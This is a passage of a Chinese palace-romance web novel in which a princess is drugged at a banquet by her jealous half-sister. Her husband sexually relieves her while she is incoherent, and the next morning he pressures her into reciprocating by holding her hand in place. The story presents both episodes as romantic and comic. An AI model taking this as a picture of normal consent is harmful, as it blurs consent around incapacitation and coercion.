从傅家出来后,陆朝朝想到前两日答应过谢绵绵要送她一个礼物,恰好马车经过铺子,她便叫停了马车,下车进了铺子里挑选。谢绵绵近来喜欢一些好玩的东西,陆朝朝便给她挑了一个玩具,既然给谢绵绵买了东西,想到谢谦和郑婉然的大儿子谢珣,不好厚此薄彼,便又挑了一份上好的狼毫笔,命店家包好。谢珣比谢绵绵大三岁,今年已经八岁,正是好学的年纪,送笔不会出错。 待回到谢家,陆朝朝便让水月跑了一遭,把两份礼物送去。 郑婉然得知她送礼,让水月转达了谢意。 这点小事对陆朝朝来说不算什么,她莞尔一笑,踱步至榻上,拿起玉骨团扇扇风。风荷从外头进来,道是上回驸马那副画已经裱好了。 陆朝朝闻言,看向那副画,指了指一旁的墙面:“就挂那儿吧。” 黄昏时候,谢妄从官署回来。 他穿过垂花门,便远远看见陆朝朝在剪花枝,黄昏的光暖融融的,在她身上镀了一层光辉。他站定脚步,看了她好一会儿,才迈步继续走到近处。 陆朝朝听见脚步声,回头看他。 四目相对之际,谢妄率先开口:“晚上吃什么?” 这一幕对话让谢妄想到兄长和大嫂,是一种寻常的温馨幸福。他在梦里也曾见过,当下真实发生了。他的眼神着在陆朝朝身上,看得陆朝朝有些不自在。 陆朝朝正也不知说些什么,他问了,便顺着答:“不就寻常吃的那些,还能吃什么?你又想吃什么?” 谢妄的眸光再次落在她唇上,她今日没涂太艳丽的胭脂,唇上有种清水出芙蓉之感。陆朝朝注意到他的视线,嗔瞪一眼,转过身背对着他,跨进房门里去了。 他怎么满脑子都是这种下|流的东西! 谢妄意识到她想错了,追上她步子,低声解释:“我不是那个意思。” 他方才的确没那个意思,只是惯性将眸光一落,难得有几分忐忑地觑她神色,怕她气恼,以为他当真满脑子只有这些东西。 陆朝朝把新折的花枝放进花瓶中,净了手,用干净帕子擦干净手上水渍,才看谢妄道:“谁知道?摆饭吧。” 婢女们应声近来摆饭,没一会儿便摆好了饭,又退到旁边,二人在餐桌旁坐下,谢妄端看她,见她似乎没有什么恼怒的神色,这才放下心来。他已经学会了开屏,不只沉默地做个哑巴,不时往她碗中夹菜。 陆朝朝眸中莹莹,又挑剔说:“你怎么就只给我夹菜?也不管我爱吃什么,不爱吃什么?” 她努努嘴,搁下手中银箸道:“也是,这些你都不知晓吧?谢缜之,你对我的喜好,又了解几何?” 谢妄默然,无可反驳。 陆朝朝故意考他:“我问你,我最喜欢的颜色是什么?” 谢妄思忖片刻,道:“红色。” 她往日里穿红色最多。 陆朝朝又问:“那我最讨厌的颜色是什么?” 谢妄摇头。 陆朝朝:“我没有最讨厌的颜色。” 谢妄正色点头:“我记下了。” 陆朝朝给风荷使了个眼色,道:“风荷,你待会儿列个单子给驸马,想必驸马聪慧过人,都会牢牢记下的。” 待用过晚膳,风荷果真列出一张整两页纸的单子给谢妄,“驸马,这上面便是公主的一些喜好,以及需要注意的事项了。” 谢妄道了声多谢,接过那几页纸,回到房中。他 在檀木圆凳上坐下,仔细端详那张单子,写得很细致,她最喜欢的颜色、最喜欢的水果、最喜欢吃的菜…… 谢妄循着单子,从他们相识这些年的记忆中找寻一些记忆的蛛丝马迹,与之一一对应,连带着也回忆起他们的许多事。 谢妄眸色柔软,只觉得原来她一直这般可爱。怎的他从前这般眼瞎,竟一点也没觉察到,白白浪费了。 又想,他从前对她是说了许多讨厌的话,难怪她讨厌自己。 看完了她喜欢的东西,还有她讨厌的东西,看到最后几行,显然不是风荷的字迹,是陆朝朝自己添上去的。 最讨厌的人,谢妄。 被划掉了,后边补了一个曾经。 谢妄捏了捏眉心,顿觉自己后背中箭。 他记忆力超群,看过一遍便已经差不多记下,第二日起,便按着那纸上的内容迎合她的喜好。 如此过了些时日,陆朝朝愈发觉得看谢妄顺眼。他虽然比从前听话很多,但也没有完全改了性子,偶尔还是会气她一下,这倒让陆朝朝觉得没有太无趣。要是谢妄当真全然变成一个完全听她话的人,那便有些没意思了。 不知不觉,便进入了八月。 暑气仍笼着大地,还未散去,崇光帝忽然病了一场,陆朝朝听得消息,进宫探望。 太医已经来看过,说只是感染了风寒,并不严重。陆朝朝在一旁听罢,松了口气。崇光帝笑了笑,轻拍她的手:“现下你可以放心了?父皇都说了,父皇没什么大碍。” 陆朝朝眉头仍蹙着:“父皇都这么大的人了,怎么也不知道好好照顾自己,还要儿臣担心。” 崇光帝笑说:“是是是,是父皇的不是,让你担心了。” 陆朝朝的目光从崇光帝的白发看到他脸上的皱纹,从前父皇高大的身影如今也变矮了许多,父皇老了很多,纵然她不愿意承认,也不得不接受这个事实。 她趴在崇光帝膝头,眷恋不已。 崇光帝轻抚着她的头发,问起她这些日子过得如何,与谢妄相处如何。 陆朝朝回答:“儿臣自然过得很好,至于和谢妄嘛,也挺好的。” 崇光帝听见她这么说,知道两个人之间关系定是缓和许多,愈发欣慰。 陆朝朝想到自己此前百般不愿,有些不好意思:“儿臣就是突然发现,他也没那么差劲。” 崇光帝笑了声,只说让她和谢妄好好的。 从千福殿离开之后,陆朝朝在宫里遇上了章安澜。章安澜恭敬地和她行礼问安:“殿下近来过得可好?” 陆朝朝看着章安澜,这些日子她和谢妄相处着,也偶尔会想到章安澜。距离上次见他,已经过了有些时日,听闻章安澜调离了翰林院,领了别的差事。她替他高兴,但是今日见到他,从前那满溢的欣喜似乎淡了许多。 “本宫一切安好,章大人呢?”陆朝朝笑了笑说。 章安澜听她问起自己,唇角微勾:“臣亦一切安好。” 陆朝朝还欲再说些什么,忽地听得一声:“殿下。” 是谢妄。 他快步上前,在陆朝朝身侧停下,瞥了眼章安澜。 陆朝朝见谢妄过来,便和章安澜告辞,与谢妄二人一前一后离开了。 谢妄脸色不大好看,陆朝朝看他这副模样,有些不高兴,他凭什么给自己甩脸色看:“你干嘛?我们又没说什么。” 谢妄默了默,直白道:“我吃醋。” 第48章 第四十八往他怀里钻。 宫墙之下,身姿挺拔的男人站在她身侧,用他那张一向面无表情的冷脸跟她说,他吃醋。 此情此景实在让陆朝朝晃了晃神,她眨动睫羽,才道:“那关我什么事?我都说了,我又没跟他说什么,不过是寒暄两句,我跟他说一句话你都要吃醋,那我若是……” 谢妄抬眸,更犀利地盯着她。 陆朝朝把半截话头咽下,看着谢妄这般模样,又生出几分好笑与得意。她眼波一转,故意逗弄他:“那我若是不止与他寒暄两句,你又待如何?” 她微微前倾身子,扬起眼眉与下巴,秾丽的面庞上尽显生动。 谢妄盯着她的脸,他待如何?这问题还真是问得刁钻,自然,他又能如何? 假若她铁了心喜欢章安澜,他什么也做不了,他不可能强迫她,她是金尊玉贵的昭阳公主,何况他不会做这种事。 还真是没办法。 谢妄忽地生出一种无力感,他目光下移,落在她微弯的唇上,沉声道:“不能如何。” 他的目光让陆朝朝想到上次,她和章安澜说话,他也吃醋,然后便强行吻了自己的事。她当即感到一丝危险,收了笑意,退后两步,与他拉开距离。攻守之势仿佛一下逆转,她气势弱下来,解释说:“当真只是寒暄了两句,你谢缜之几时也成醋坛子了。” 谢妄知道她在想什么,他轻叹一声,道:“我也只是一个普通人。” 这话听起来可太有意思了,陆朝朝又侧头看他,笑说:“不得了,你这眼高于顶的人,竟然会承认自己只是一个普通人。” 谢妄不语,他一向自视甚高,但唯独在她这里,他不得不承认自己不过是一个为七情六欲所困的普通人。他克制不住自己对她的欲|望,克制不住对她心动,克制不住嫉妒她喜欢别人。 情之一字,还真叫人无能为力。 陆朝朝笑过了,才说:“父皇病了,这两日我要留在宫里,待中秋后会回府。” 谢妄哑然片刻,道:“我留下来陪你。” 她留在宫里,难免会和章安澜碰上。 陆朝朝看他一眼,她不知道他的想法,只当他在讨好自己,遂说:“你想留就留吧。” 谢妄眸色一软,垂眸瞥见她垂在身侧的手,伸出手,勾住了她的细指。 陆朝朝一怔,叫他放开。 谢妄当然不应,反而牵得更紧,陆朝朝想把手抽出来,无奈抽不出来,二人这小打小闹的动作落在旁人眼里,俨然像打情骂俏。 章安澜目送他们背影渐行渐远,一直到再也看不清了,才收回目光,眸中森然一片。 陆皎月不知何时过来的,将章安澜的神情尽收眼底,她微蹙眉头,恍然明白了些什么。章安澜从前说过的心上人,原来竟是陆朝朝? 所以,他便是为了陆朝朝,几次三番拒绝娶自己? 陆皎月眼神一冷,骤然森森一笑,好啊,真是好极了,世上的人怎么都为了那个贱人与自己做对。亏得她还特意为了章安澜,给了他机会,竟是喂了狗了。 陆皎月拂袖而去,恼恨陆朝朝的心愈发燃烧起来。 章安澜喜欢陆朝朝,可惜啊,陆朝朝却三心二意,又和谢妄不清不楚。既然他章安澜喜欢陆朝朝,那她便再帮帮他好了,好人做到底,送佛送到西。陆皎月冷冷笑过,唤来贴身宫婢:“你去帮我办一件事。” 陆朝朝若是在众目睽睽之下,与人私通,太后在场,必然不会轻纵她,即便父皇想保下她,也得过太后那关。而谢妄,他当真爱慕陆朝朝至此,连这种事也可以按下不计? 陆皎月光是想想那场面,已经觉得心里痛快了。 一切只待中秋夜宴。 她勾起唇角,轻捻着指腹,眼中闪过一丝笑意- 崇光帝因病着,精神比从前倦怠许多,陆朝朝陪在身边,愈发不许他强撑着病体处理政事,只把一切都扔到一边,只许崇光帝好生休养。崇光帝有些无奈:“朝朝,父皇只是小病,不必如此紧张。” 陆朝朝不理:“小病更该注意,小病若是不好好调理,容易变成大病。不过 耽误两日,还能有什么大事?而今国家风调雨顺,又没什么大事,不差这两日。再说了,父皇不是喜欢谢缜之嘛,这种小事他不能替父皇解忧吗?还要父皇亲自来?” 她一顿胡搅蛮缠,崇光帝也拗不过,只得唤谢妄上前来,让他帮忙处理。的确近来的事都是些小事,让谢妄处理也得宜。 陆朝朝见状,拉着崇光帝要去御花园散心:“父皇成日里闷在千福殿,出去散散心这病才好得快。” 她拉着崇光帝出门,回头看了眼那个苦力,叮嘱道:“谢缜之,你可别偷懒啊。” 陆朝朝挽着崇光帝的胳膊,二人缓步行在御花园中走了一圈,回到千福殿时,谢妄已经把那些事都处理好了。崇光帝赞叹颔首,于榻边坐下,又看陆朝朝,笑说:“时辰不早,你们夫妻俩留下来陪朕一道用膳吧。” 陆朝朝欢喜应下。 不多时,膳食便已经摆好,崇光帝坐在上首,陆朝朝与谢妄二人相对而坐。谢妄秉着这些日子的习惯,给陆朝朝添菜,陆朝朝并未多说什么。崇光帝看在眼里,谢妄给她添的那些菜都是她爱吃的,欣慰一笑。 崇光帝的病没什么大碍,休养了两日便好了。不日便是中秋佳节,今岁中秋宫中设夜宴宴请群臣赏月同欢,可带家眷。 及至中秋夜宴,丝竹管弦不绝于耳,更有舞姬献舞,一派热闹景象。宴席上男宾与女眷分席而坐,陆朝朝与另外几位公主坐在一处,正在皇帝手边。 今日夜宴,章安澜与谢妄俱在。 此情此景,让陆朝朝不免想到几个月前的事,不禁心生感慨,便多饮了两杯。她们饮的酒一向是性温的果子酒,几杯下肚也不会有甚醉意,不过今日陆朝朝感觉这酒似乎更醉人了些,她竟觉出几分头晕。 她扶住额角,目光恰好看向谢妄。 谢妄亦在看她,见她望向自己的眼神微醺,与平时不同,她微醺时的眼神好像满含情意似的,看得谢妄心头一跳,隐隐感觉有些不对劲。 陆朝朝头也晕,脸色也热,有些不舒服,并未多想,以为是自己不胜酒力,便唤来风荷陪自己离席散散心。陆皎月见状,唇角一勾,好戏开场了。 她低头与婢女耳语几句,交代了一番。 陆朝朝离席的事,谢妄和章安澜都注意到了。未几,一名宫婢向章安澜传话:“章大人,我们殿下说,有些话同您说,请您一叙。” 章安澜一怔,心跳有些加速,她特意寻自己出去,要说什么? 他不自觉看了眼谢妄。 谢妄注意到他的视线,亦看过来,只见片刻之后他起身离席。 谢妄眉头皱得更深,他们二人一前一后离席,莫非…… 他想罢,也借口不胜酒力暂时离席,追寻章安澜而去。 陆朝朝原本带着风荷和水月二人,走了几步愈发觉得头晕得厉害,便寻了一处假山石坐下休息。她扯了扯领口,喃喃道:“怎么今夜如此闷热……” 口也渴得厉害:“水,我要喝水。”她道。 水月闻言,道:“奴婢去给殿下找水来。” 风荷仍陪着她,水月还未回来,倒是先等到了章安澜。 风荷见他出现,不由拧眉,行了个礼:“奴婢见过章大人。” 章安澜看向她身后的陆朝朝,陆朝朝听见风荷的话,懵然抬头,对上章安澜的视线。她笑了笑,站起身朝他走近:“你怎么来了?” 她身影摇晃,踉跄了一下,直扑他怀中。章安澜怕她摔倒,扶住人,疑惑道:“不是殿下差人传话,说是有话要说同臣说么?” 陆朝朝一脸茫然:“我没有啊?” 她靠在章安澜怀里,愈发觉得热得厉害,往他怀里钻。 章安澜被她的动作弄得身形一僵,他同样是聪明人,当即意识到可能有人从中作梗。章安澜想到了离席之前,陆皎月向自己投来的眼神,呼吸一滞。 怀里的人软玉温香,是他期待了这么多年的人,他知道陆皎月的心思,若是他选择遂她的意,必然会影响到陆朝朝的名声。他不能这么做,正欲开口,身后匆忙闪出一道身影,猛地将他推开,把陆朝朝夺走。 “章大人应当明白,她如今是我的妻子。”谢妄冷声质问,将怀里的人圈得很紧。 章安澜张了张口,想要辩驳什么,谢妄赶来如此及时,可见暗中注意许久。他只道:“殿下不对劲。” 谢妄拧眉,低头看向怀中人,她一个劲往自己怀里钻,口中更是说着热,他也明白过来的确不对劲了。 “不劳章大人费心,我会处理好。”谢妄将陆朝朝打横抱起,吩咐千山回去向崇光帝禀报,只说朝朝身子不适,他陪着先回曦光殿了。 章安澜看着谢妄背影,默立许久。 “啧啧,给你机会,你也不中用啊。”陆皎月自阴影处走出,冷声嗤笑。 章安澜只道:“明月公主此举未免太过下作,无论如何,昭阳公主乃是您的亲妹妹。” 陆皎月冷笑说:“本宫可不认她是本宫的亲妹妹,章大人看来是装得太久,不会连自己都信自己是圣人君子吧?她既然和谢妄成了婚,你不会以为你还有光明正大的机会吧?本宫给你一个机会,你也抓不住,又有何用?哦,章大人若是替她不平,大可以去父皇面前参本宫一本。” 陆皎月笑了声,又说:“不过本宫还真是替你可惜啊章安澜,你可知道,她起初喜欢你的。本宫还听说,那时她听说你有心上人,回去之后还哭了一场呢。” “你就这么心甘情愿地将她拱手让人了。” 章安澜眸色一颤,她竟是喜欢自己的么?那为何…… 是了,都怪谢妄从中横插一脚。 章安澜手握成拳:“纵然如此,我也不会用这般卑劣的手段。” 陆皎月好似听见什么笑话一般:“那本宫便祝你好运了,章大人。”- 谢妄抱着陆朝朝回到曦光殿中,风荷方才跟在身侧,听得清楚,有些慌乱道:“奴婢去请太医。” 谢妄嗯了声,又嘱咐:“仔细些,别惊动旁人。” 事情若是闹大了,恐怕不好。 今日之事是谁所为,谢妄心中已经有答案。这种宫中办的宴,能如此大胆妄为的,只有那位明月公主了。 谢妄眸色一冷,看来的确该给她一些教训。 他走神之际,听得身侧的人传来一声嘤咛。 第49章 第四十九帮他。 她的嘤咛打断了谢妄的思绪,谢妄看向床榻中蜷缩成一团的人,陆朝朝已经开始神志不清,嘴里嘟囔着热,手里更是扯自己的衣服,领口早被她扯得松松垮垮,露出雪白的肌肤。她肌肤胜雪,又如凝脂玉,此刻因为被下了药的缘故,泛出淡淡的粉,看得谢妄眼睛一刺。 谢妄扯过被子,将她整个人掩住,他虽想要她,却不想趁人之危。以她的性子,倘若他趁人之危,她定然不会轻易善罢甘休,他上回已经哄得绞尽脑汁,可不愿重蹈覆辙。 谢妄神色焦急地看了眼门外,不知道这太医几时能到? 陆朝朝只觉得身子非常不舒服,好像小的时候发高烧,整个人都热得厉害,她被这种不舒服的感觉折磨着,本能地找寻能让自己更舒缓一些的办法。但她整个人都被被子蒙住,动弹不得,身上热汗淋漓,愈发不舒服了。她挣扎起来,断续的呻|吟也从嘴边泄出。 谢妄听在耳中,呼吸有些乱,只是将她按得更紧,嘴上哄道:“朝朝,你再坚持一下,太医很快就来了。” 陆朝朝听不进去,她只是挣扎,发觉挣扎不动,便在谢妄按住被角的手上咬了一口,发泄自己的不满。 说是咬,可她这会儿浑身无力,也称不上咬,更像是舔|舐一般。她柔软的唇在他手背上摩|挲,脸颊也蹭过来,让谢妄惊得松开了手。 他喉头滚了滚,视线有些沉。 陆朝朝终于被松开束缚,只觉得终于舒缓了些,又开始扯自己的衣裳,没一会儿,她身上的外衫便被自己扯了下来,扔在一边。谢妄看在眼里,眼神愈发深沉。他将人揽过来,再次用被子裹住她,不许她再乱动。 这时间可谓是煎熬,不知过了多久,风荷终于急急忙忙带着太医赶了过来 。太医还不知晓情况,只听风荷说是情况紧急,这会儿到了,心下更是忐忑不安。太医都知道今上对这位昭阳公主的宠爱之深,他生怕公主是出了什么大差错,待诊过脉,太医心下松了口气。 幸好,并未有性命之忧。只是这种下作手段,竟有人敢算计到昭阳公主身上? 太医不敢多嘴,宫里的腌臜事太多,他只看向谢妄,道:“驸马放心,公主并无性命之忧,至于此药,对公主身体的损伤也不会太大。” 太医想的是,驸马和公主是夫妻,只要驸马与公主圆房,此事便可以解决了。他本来是松了口气,却听那位年轻的权臣沉着脸问:“除了圆房,可有别的办法能缓解公主的不适?” 太医一时面露难色:“这……倒也不是没有,但兴许对公主的身体有些损伤,只需让公主浸泡在冷水之中,一直浸泡到药效过去,也就没事了。” “不过,以臣之见,还是驸马与公主圆房解决为好。”太医不敢抬头,只是给出建议。 谢妄沉思片刻,也想到泡冷水对她的身体不好,何况这药效也不知要多久,他敛了眉目,又问太医:“这种药,只要替她疏解了就可以,是不是?” 太医点头:“按理说,是如此。” 谢妄颔首,向太医道了谢,命风荷送太医出去,又叮嘱太医:“今日之事,若是传了出去,还请太医小心自己的身家性命。” 太医又一阵忐忑,忙说定会保守秘密,这才退了下去。 谢妄屏退了殿中的下人,看向床榻上面色潮红的少女。他叹了声,将她揽进怀里。 陆朝朝浑身发热,贴在他身上仿佛找到了清凉,整个人都往他怀里贴得更紧,更是到处蹭着。她是自己喜欢的人,谢妄本来就对她没什么自制力,被她这般一蹭,愈发呼吸粗|重。他深吸了口气,宽大的手掌按着她的后背,沉声道:“别乱动。” 陆朝朝才听不进去,仍旧自顾自乱蹭。谢妄无奈,又叹了声,伸手探去。 他也是没办法,只得如此了。 夏日骤雨如促,忽然而至,雨声喧哗,从檐瓦落下,遮住了殿内的其他声响。若仔细听,才能分辨出雨声之下的少女声音,这场雨下了许久,只盘旋在曦光殿,淋湿了曦光殿廊下的绿植,绿叶被洗得发亮,频频点头,摇曳不已。 风荷在殿外守候,听见自家殿下的声音,一时心绪复杂。 另一边的丝竹管弦声未断,及至夜深,热闹才结束,圆月仍挂在天幕上,皎月透进曦光殿的寝殿之内,映出曦光殿的雨水。这场雨还未下完,一直持续到后半夜。 怀中的人睡了过去,额上与身上皆是一层汗,谢妄将头抵|在她肩头。她是得到了疏解,谢妄以及饱受折磨,他睁眼看了眼身旁熟睡的少女,在她唇上轻啄了下,索取报酬。 待他平缓过来,谢妄才唤风荷送来干净的热水,替陆朝朝擦拭过。他自己也净了手,清理了一番。 风荷在一旁候着,见谢妄身上穿戴完全,似乎并未曾发生什么,又见他净手,恍然明白过来什么。一时对他增添几分好感,其实谢大人还是挺好的,如此情景,都不曾趁人之危。 风荷低声道谢:“今日之事,多谢驸马。” 若非谢妄及时赶到,万一公主与章大人发生些什么,纵然陛下偏袒,可此事传出去,对公主的名声也不好,只怕太后更要借机发作。 谢妄没说什么,只回头看了眼熟睡的小公主。 这日夜里,谢妄与陆朝朝同榻而眠,没有回偏殿。 陆朝朝醒来时,意识还有些混沌,昨夜的记忆渐渐回笼,她猛地睁大眼睛。 昨晚……昨晚发生了什么? 她昨晚的状态很不对劲,陆朝朝在深宫长大,当然明白宫里一些手段,她从未想过有朝一日会有人对自己使这种手段。她慢慢回想,终于记起昨晚的一些事。 她好像和谢妄…… 意识到腰间的重量,陆朝朝更是倒吸了一口气,当即红了眼眶。 谢妄被她的动作吵醒,缓缓睁开长眸。 她记得,好像和谢妄并未到那一步,她又松了口气。 她正愣神,忽地感觉到后颈上一道柔软的感觉。 谢妄吻了吻她后颈上那颗红色的小痣。 陆朝朝当即身形一僵,而后迅速挣扎了下,正是这一挣扎,让她感觉到了更可怕的东西,再次僵住。 连声音都有些僵硬:“你你你你……” 谢妄说:“男子正常反应,公主不知道么?” 她怎么会知道,她又不是男人! 陆朝朝有些紧张:“你能不能先松开我?” 这种情形让她感觉很没安全感啊! 谢妄却将额头贴得更紧,嗓音有些哑:“殿下未免有些忘恩负义,昨夜我如此卖力帮殿下,礼尚往来,殿下是不是也该帮帮我?” 谢妄故意这般说道,他从不自诩为正人君子,只是有些事不屑做。但他也不是专做善事的菩萨,总得得寸进尺一些什么。 陆朝朝有些懵:“你想让我帮你什么?” 她脑袋一转,又撇嘴:“再说了,谁要你帮我?难道不是因为你想趁机占我便宜吗?你不能找太医吗?太医总有别的办法吧?” 谢妄唇角贴在她后颈那颗小痣上,懒声道:“找过了,太医说,要么我跟你圆房,要么给你泡冰水,你确定你想泡冰水?” 陆朝朝:“……” 泡几个小时的冰水,听起来有些可怕,那她定然会生病的,一病了便要喝药,还会不舒服。比起来,好像还是现在的办法更划算一些。 她一时默然。 谢妄勾了勾唇角,宽大的手拉住她的手,道:“殿下心地善良,想必也愿意帮帮我,是不是?” 陆朝朝脑袋还有些混乱,还在问:“你想让我怎么帮你?” 话音刚落,便明白了他的意图。 她被热度烫到,当即想甩开,但谢妄的手将她的手紧紧包裹住,不给她机会,迫使她只能拿着。 她结巴起来:“能不能换个方式帮你啊?” 谢妄拒绝:“不能。” 她咬住下唇,脸上写满了不满。但这会儿的情况好像也不能做点什么,要是她叫人进来,岂不是更尴尬了?陆朝朝有些妥协,算了,昨晚他也的确帮了自己,而且他竟然选择了这种办法,而不是直接跟她睡觉,她必须要说,这一点让她有点感动。 陆朝朝很快就改了主意,有些恼怒道:“你怎么还没好啊?” 她觉得自己上当受骗了,他分明叫挟恩图报,好人都是知恩不图报的。她嘴巴瘪着,回头瞪了眼谢妄。 “谁要你帮了,你就是不出现,章安澜也不会对我怎么样。”章安澜可是君子,比他人品好多了。 听见她这话,谢妄眸色微沉,心中很是不满,在她后颈处咬了咬。 陆朝朝吃痛,愈发不悦,她手上便加重了些力气,而后便听见谢妄重重哼了声。 陆朝朝顿时又觉得自己占了上风:“谁让你突然咬我的?狗男人。” 她余光瞥见谢妄的神情,和平日里的他不大一样,生出一种奇怪的猜想,他现在的表情好像随着她的动作而变化。好像她可以操控他似的。 为了验证自己的猜想,陆朝朝变换着力气,果真看见谢妄有不同的反应。 好像她在玩|弄他。 陆朝朝被自己这个念头惊了一惊,也生出些兴趣,但渐渐被累取代。 她手都酸了。 不知道过了多久,谢妄终于好了。 陆朝朝啊了声,把谢妄踹了下去,面露嫌弃:“你好恶心!” 谢妄撑着坐起来,道:“殿下昨夜同样流了我一手……” 陆朝朝更激动起来:“啊啊啊啊啊啊啊,闭嘴!你再说一句,我要杀了你!” 第50章 第五十章叫得和黄莺一般动听。 她捂住耳朵,不愿多听一句。完蛋了,她现在有天大的把柄落在谢妄手里。 她正想着,又记起自己手还脏着,赶忙放下来,从旁边扯过帕子囫囵擦干净,而后将帕子扔在谢妄身上。一低头,又突然发现自己原来还赤着身子,她又惊叫一声,扯过被子将自己裹住。 所以刚才他岂不是什么都看见了?! 陆朝朝羞臊得小脸通红,更想到谢妄方才的话,昨晚的事显然更羞臊,她气恼赶人:“你赶紧出去。” 又唤风荷她们进来伺候。 谢妄见她恼怒的模样,没再与她争执,简单整理了一番便出去了,他昨夜一直守着她,未曾沐浴,正好趁此时间去沐浴更衣。曦光殿里的宫婢准备好了热水,谢妄兀自进了净室,浴池中水汽蒸腾,他褪下衣服,这身衣服上昨夜沾了不少陆朝朝的气息,谢妄不由得低头轻嗅。 味觉勾动画面,昨夜的记忆涌上心头,谢妄喉头一动,有些躁动。他迈进浴池,让热水洗去身上的尘埃。 谢妄头枕着浴池边缘,想到昨夜到今日的事,心绪有些难以平复。他记起她柔嫩的手握住自己的感觉,一时意动,又自我疏解了一番。 那厢陆朝朝亦在沐浴,她趴在浴池边缘,让风荷她们擦拭身子,想着想着便羞窘起来,捂住脸,一阵脸热。 这都是什么事儿啊,怎么就变成这样了…… 害她的人,她一猜便知是陆皎月,阖宫上下和她关系最不和睦的就是陆皎月,也只有陆皎月有这种胆子会在这种日子害她。这回她真的惹到自己了,她一定会报复回来的。 至于怎么报复回来,她还没想到。 陆朝朝恨恨咬了咬唇,又想到了昨晚和今早的事,不由得将手在水中搓了搓,又用香胰洗过一遍,这才作罢。 沐浴出来,陆朝朝换了身干净衣裳,坐在铜镜前,让婢女们伺候梳妆。水月问:“殿下可要现在传早膳?” 听水月这么一问,陆朝朝顿觉肚子饿了,点头:“传膳吧。” 水月点头,一顿,又询问:“那驸马呢?可要请他过来一起用早膳。” 谢妄留在曦光殿这两日都是与她一起用膳的,陆朝朝被她问得一怔,思及自己的羞窘,有些迁怒谢妄,道:“不要,让他自己吃,不许来烦我。” 水月掩嘴失笑,应下:“是,奴婢明白了。” 用过早膳后没多久,崇光帝便来了。 昨夜她提前离席,说是身子不适,崇光帝心中挂怀,过来探望。 看见陆朝朝活蹦乱跳的,崇光帝松了口气:“昨夜是哪里不舒服?太医怎么说?” 昨晚的事太丢人了,陆朝朝想了想,没和崇光帝说实话,只说自己喝了点酒,有些头晕,所以回来休息了。太医那里,自然也不敢乱传话。崇光帝听罢,放下心来,又陪她说了会儿话才离开。 崇光帝走后,陆朝朝想到陆皎月,气得冷哼了声,此仇不报,她把陆朝朝三个字倒过来写。 原定今日离宫的计划不变,晌午时分,陆朝朝便和谢妄一起辞别崇光帝,回了谢家。陆朝朝不想看见谢妄,坚持要和他分开乘坐马车,谢妄也没坚持,同意了。 马车驶回谢家,陆朝朝扶着风荷下了马车,一抬头就看见谢妄正盯着自己,她一看见谢妄的脸,就想到了那些事,当即脸上一红,瞪了他一眼,甩下他先行一步进了府。 谢妄步子快,没几步便追了上来,隔了两步跟在她身后,开了口:“此事又不是我所为,朝朝为何迁怒于我?” 陆朝朝气鼓鼓地看他一眼,总觉得他现在看自己的眼神很促狭,一点都不像先前追求她的时候了,因为这件事,又让他占了上风了。 谢妄继续说:“害你之人,我已经查到了些眉目。” 陆朝朝听他说起这个,脸色终于好转了些许:“我知道,不就是陆皎月嘛,除了她,也没别人恨我恨到这份上。” 谢妄嗯了声:“此事我会让她付出代价。” 陆朝朝有些意外,他要帮自己报仇吗? “你要做什么?”陆朝朝发问,她当然要报仇的,只是还没想好怎么报仇,但是谢妄既然有这个机会,她还真有点好奇,谢妄会怎么做? 她听说过谢妄在官场上的一些名声,什么手段狠辣,冷漠无情之类的,其他官员提及谢妄似乎都有些害怕他,但谢妄对付他们的手段,能用来对付陆皎月吗? 陆皎月又不是那些当官的,她毕竟是皇后嫡出的公主。 陆朝朝想到上次谢妄替她说话时吓唬陆皎月的话,可他不是说,御史台没那么闲吗? 陆朝朝看着谢妄,等着他开口。 谢妄却卖关子:“到时候朝朝就知道了。” 陆朝朝小嘴一瘪,他怎么还卖关子呢?这有什么不能告诉她的吗?难道他要用一些见不得人的手段? 陆朝朝眨了眨眼,顿时有些心情复杂,她当然不想让陆皎月好过,但若是谢妄用一些见不得人的手段,好像也不太好吧? 还有,他现在怎么叫自己的名字越来越顺嘴了。 陆朝朝嘟囔说:“你能不能别老叫我名字?” 谢妄不应,反而特意唤了她一句:“朝朝。” 陆朝朝语塞,她也不能把他嘴巴缝起来,只好一跺脚走了。 谢妄不依不饶地追上来,一边跟在她后面,一边还唤她的名字。 “朝朝。” “朝朝。” 陆朝朝本来觉得有些气恼,多听了几句,又忽然觉得很好笑。他堂堂天子近臣,用那张八风不动冷脸追在她屁股后面一次次重复她的名字,好像一只鹦鹉。 陆朝朝忍俊不禁,看他一眼,小声说:“鹦鹉精。” 谢妄凝眉,很快意会她的话,面不改色道:“黄莺。” 陆朝朝觉得按照谢妄的性格,这句黄莺肯定是在讲她,她用鹦鹉骂他,所以他用黄莺骂自己,她怒道:“什么黄莺?” 谢妄缓缓开口:“昨夜朝朝叫得和黄莺一般动听。” 陆朝朝:“……” 她睁大双眼,这回更气恼了:“你不许再提昨晚了,把昨晚的事通通忘记!” 谢妄看着她的眼睛:“恕我做不到,恐怕永生难忘。” 陆朝朝气得不行,她咬了咬唇,一时又找不到反击的话,只好说:“你以为你今早好到哪里去吗?大色^鬼。” “你当时那个表情,简直就一副荒^淫的样子,你要是照照镜子,你都无地自容。”陆朝朝故意说。 谢妄反应平淡:“我不否认。” 陆朝朝更郁闷了,她都忘了,谢妄这种人一向没皮没脸的,他不要脸,可自己要脸,根本比不过。她郁闷地鼓了鼓腮帮子,只好又骂他:“你臭流氓。” 她说罢,在他脚背上踩了一脚泄愤,而后便跑远了。 陆朝朝兀自进了房间,让风荷把门关上,不许谢妄进来。她在檀木圆桌边坐下,撑住下巴,心想她哪有那么…… 什么流他一手的水,什么叫得比黄莺还动听,这么下^流的形容,怎么可能是她?她昨晚是有些不成体统,但是那也不是她想的呀,她是因为被下了药,被迫的好不好?再说了,就算她是被下了药,那她也不可能有谢妄说的那么夸张。 反正没有,陆朝朝趴在臂弯里,细细回忆昨晚的事。 她的神智有些不清,故而许多记忆也很模糊,她记得,她当时身上的衣服好像是自己扯掉的,谢妄将她抱在怀里,她整个人趴在他身上,然后…… 她面颊绯红,甩甩头,不能再回忆了,好丢脸。 陆朝朝拍了拍脸颊,又给自己倒了杯茶水。 之后几日,陆朝朝便躲着谢妄。二人相处倒像回到前些日子,但又与前些日子不同,前些日子是她占上风,她恼谢妄,谢妄得哄着她,可如今,她虽然也恼谢妄,谢妄也哄着她,但他的眼神里始终有些暧昧。偏偏陆朝朝自己也心虚,更加硬气不起来。 陆朝朝摇着团扇,喝了口甜汤,便听得风荷面带喜色地进来禀报:“殿下,好消息。” 陆朝朝问:“什么好消息?” 